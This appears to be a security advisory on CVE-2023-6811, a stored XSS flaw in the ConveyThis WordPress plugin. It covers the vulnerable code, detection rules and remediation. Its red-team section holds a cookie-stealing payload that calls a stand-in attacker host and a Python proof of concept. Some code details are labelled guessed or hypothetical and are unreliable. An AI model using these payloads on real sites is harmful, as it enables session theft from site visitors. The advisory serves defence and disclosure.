CVE-2023-6811

Executive Summary

CVE-2023-6811 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the ConveyThis WordPress plugin, versions up to and including 223. The flaw resides in the api_key parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious payload, the script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit injected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can be used to compromise user sessions or perform phishing attacks.

Deep Dive & Mechanics

The ConveyThis plugin provides a language translation widget. The api_key parameter is used to configure the plugin’s API access. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into the api_key field. This input is stored in the WordPress database and later rendered on pages where the widget is displayed. When a user visits such a page, the injected script executes.

Root Cause: The plugin fails to properly escape the api_key value before outputting it in the HTML context. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker sends a POST request to the plugin’s settings endpoint with a malicious api_key value (e.g., <script>alert('XSS')</script>).
2. The plugin stores the value without sanitization.
3. When the widget is rendered, the malicious script is executed in the visitor’s browser.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 223):

// In conveythis.php or similar
$api_key = get_option('conveythis_api_key');
echo '<div class="conveythis-widget" data-api-key="' . $api_key . '"></div>';

The $api_key is directly concatenated into the HTML attribute without escaping.

Patched Code (hypothetical):

$api_key = get_option('conveythis_api_key');
echo '<div class="conveythis-widget" data-api-key="' . esc_attr($api_key) . '"></div>';

Using esc_attr() ensures the value is safely encoded for HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ConveyThis plugin version <= 223.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=conveythis_save_settings).
2. Send a POST request with a malicious api_key:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=conveythis_save_settings&api_key=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

3. The payload is stored. Any user visiting a page with the widget will execute the script.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = "<script>alert('XSS')</script>"
data = {"action": "conveythis_save_settings", "api_key": payload}
requests.post(target, data=data)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with action=conveythis_save_settings.
• Inspect api_key parameter values for HTML/JavaScript patterns.
• Use WAF rules to block common XSS payloads in the api_key field.

Prevention:

• Apply input validation and output escaping (e.g., esc_attr() in WordPress).
• Implement Content Security Policy (CSP) headers to mitigate script execution.
• Disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=conveythis_save_settings and suspicious api_key values.
  • Outbound connections to attacker-controlled domains from compromised sites.

• Host IOCs:

  • Presence of <script> tags or event handlers in the conveythis_api_key option in the WordPress database.
  • Modified plugin files (e.g., conveythis.php) containing malicious code.

• File IOCs:

  • Suspicious entries in wp_options table: option_name = 'conveythis_api_key' with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2023_6811_ConveyThis_XSS {
    meta:
        description = "Detects malicious api_key payloads for CVE-2023-6811"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6811"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-6811 ConveyThis XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-6811 via api_key parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=conveythis_save_settings'
        cs-uri-query|contains: 'api_key='
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate API keys containing similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6811 ConveyThis XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=conveythis_save_settings"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the api_key parameter.
3. Review WordPress database for malicious conveythis_api_key entries and remove them.

Long-term Fix:

• Apply output escaping (e.g., esc_attr()) to the api_key value before rendering.
• Use WordPress nonces and capability checks to restrict settings changes to authenticated users.
• Monitor the plugin vendor for an official patch.

Workaround:

• If the plugin must remain active, manually edit the plugin code to add esc_attr() around the api_key output.

Valters IT